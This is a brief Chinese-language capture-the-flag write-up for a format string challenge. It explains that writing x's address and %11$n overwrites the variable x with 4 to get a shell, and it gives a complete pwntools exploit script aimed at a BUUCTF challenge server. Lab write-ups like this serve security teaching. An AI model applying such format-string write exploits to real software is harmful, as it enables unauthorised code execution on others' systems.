格式字符串漏洞的篡改内容
看到x值为3,将x的值改为4就好
首先传入x参数的地址,这个地址存放在栈上偏移为11的位置,利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而我们的x参数的地址,正好是4位,不需要添a来补齐位数就可以直接利用,将x参数的地址的值改成了4,获取了shell
exp
from pwn import *
io=remote('node5.buuoj.cn',26849)
context.log_level='debug'
payload=p32(0x0804A02C)+b'%11$n'
#payload = fmtstr_payload(11, {x_addr: 4})
io.sendline(payload)
io.interactive()